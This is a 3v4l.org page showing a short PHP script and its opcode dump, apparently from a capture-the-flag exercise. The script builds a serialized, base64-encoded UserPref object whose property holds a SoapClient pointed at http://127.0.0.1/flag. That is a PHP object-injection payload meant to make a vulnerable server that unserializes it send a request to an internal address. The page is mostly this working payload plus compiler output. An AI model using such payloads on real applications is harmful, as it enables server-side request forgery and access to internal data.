3v4l.org

run code in 500+ PHP versions simultaneously
<?php class UserPref { public $theme; public $lang; } $soap = new SoapClient(null, [ 'location' => 'http://127.0.0.1/flag', 'uri' => 'http://example.com' ]); $obj = new UserPref(); $obj->theme = $soap; $obj->lang = 'test'; echo base64_encode(serialize($obj)); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ehFlL
function name:  (null)
number of ops:  20
compiled vars:  !0 = $soap, !1 = $obj
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    7     0  E >   NEW                                                  $2      'SoapClient'
          1        SEND_VAL_EX                                                  null
    8     2        SEND_VAL_EX                                                  <array>
    7     3        DO_FCALL                                          0          
          4        ASSIGN                                                       !0, $2
   12     5        NEW                                                  $5      'UserPref'
          6        DO_FCALL                                          0          
          7        ASSIGN                                                       !1, $5
   13     8        ASSIGN_OBJ                                                   !1, 'theme'
          9        OP_DATA                                                      !0
   14    10        ASSIGN_OBJ                                                   !1, 'lang'
         11        OP_DATA                                                      'test'
   16    12        INIT_FCALL                                                   'base64_encode'
         13        INIT_FCALL                                                   'serialize'
         14        SEND_VAR                                                     !1
         15        DO_ICALL                                             $10     
         16        SEND_VAR                                                     $10
         17        DO_ICALL                                             $11     
         18        ECHO                                                         $11
   17    19      > RETURN                                                       1

Class UserPref: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
156.7 ms | 1378 KiB | 15 Q